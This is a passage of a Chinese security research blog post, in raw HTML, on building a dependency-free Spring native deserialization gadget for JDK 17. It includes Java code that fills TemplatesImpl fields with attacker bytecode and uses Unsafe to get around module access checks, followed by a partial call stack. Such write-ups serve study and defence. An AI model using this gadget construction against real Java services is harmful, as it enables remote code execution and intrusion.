229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0</span></code><span leaf=""> ，否则会抛出异常：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">final</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">int </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">classCount</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> _bytecodes.length;                      </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">// [1]</span></span><span leaf="">_class = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">Class</span></span><span leaf="">&lt;?&gt;[classCount];</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (classCount &gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1</span></span><span leaf="">) {</span><span leaf="">    _auxClasses = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">HashMap</span></span><span leaf="">&lt;&gt;();</span><span leaf="">}</span><span leaf="">...</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">for</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">int </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">i</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">0</span></span><span leaf="">; i &lt; classCount; i++) {</span><span leaf="">    _class[i] = loader.defineClass(_bytecodes[i], pd);</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">final</span></span><span leaf=""> Class&lt;?&gt; superClass = _class[i].getSuperclass();</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">// Check if this is the main class</span></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (superClass.getName().equals(ABSTRACT_TRANSLET)) {  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">// [2]</span></span><span leaf="">        _transletIndex = i;</span><span leaf="">    }</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">else</span></span><span leaf=""> {</span><span leaf="">        _auxClasses.put(_class[i].getName(), _class[i]);</span><span leaf="">    }</span><span leaf="">}</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (_transletIndex &lt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf="">    ErrorMsg err= </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">ErrorMsg</span></span><span leaf="">(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">throw </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">TransformerConfigurationException</span></span><span leaf="">(err.toString());</span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很容易通过反射构造出不需要继承 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AbstractTranslet</span></code><span leaf=""> 的模板类，此时可以定义不需要继承的任意类，自然也就实现了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bypass Module</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">setFieldValue(obj, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;_bytecodes&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">byte</span></span><span leaf="">[][]{</span><span leaf="">    ClassPool.getDefault().get(TMP2.class.getName()).toBytecode(),</span><span leaf="">    ClassPool.getDefault().get(TMP2.class.getName()).toBytecode()        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//classCount &gt; 1</span></span><span leaf="">});</span><span leaf="">setFieldValue(obj, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;_name&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;TestTemplatesImpl&#34;</span></span><span leaf="">);</span><span leaf="">setFieldValue(obj, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;_tfactory&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">TransformerFactoryImpl</span></span><span leaf="">());</span><span leaf="">setFieldValue(obj, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;_transletIndex&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">0</span></span><span leaf="">);  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//_transletIndex &gt;= 0</span></span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">gadget 生成</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">看起来所有的坑都填完了，可以构造出一个无需任何依赖的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Spring</span></code><span leaf=""> 原生反序列化 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> 。注意为了保证生成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 的代码顺利运行，同样需要在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Add VM Options</span></code><span leaf=""> 中配置 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AbstractTranslet</span></code><span leaf=""> 等类，否则无法编译通过，反射修改私有变量可以通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Unsafe</span></code><span leaf=""> 来把模块强行进行修改，转化成和目标类一致的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Module</span></code><span leaf=""> 对象 ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">public</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">static </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">void </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">unsafe_break_jdk17</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">()</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">throws</span></span><span leaf=""> Exception {</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">Field </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">theUnsafe</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> Unsafe.class.getDeclaredField(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;theUnsafe&#34;</span></span><span leaf="">);</span><span leaf="">    theUnsafe.setAccessible(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">true</span></span><span leaf="">);</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">Unsafe </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">unsafe</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> (Unsafe) theUnsafe.get(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">null</span></span><span leaf="">);</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">Module </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">objectmodule</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> Object.class.getModule();</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">Class </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">mainClass</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> Test.class;</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">long </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">module</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> unsafe.objectFieldOffset(Class.class.getDeclaredField(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;module&#34;</span></span><span leaf="">));</span><span leaf="">    unsafe.getAndSetObject(mainClass,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">module</span></span><span leaf="">,objectmodule);</span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最终效果如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008662" class="rich_pages wxw-img" data-ratio="0.8546296296296296" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=81e611f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwzTQOfHMNibZBs4pq8yNu3TADUaSgN9IxWFPUdgze3PicUEhhlOhbwHZSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调用栈如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">getOutputProperties:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">608</span></span><span leaf="">, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)</span><span leaf="">invoke0:-</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">77</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: 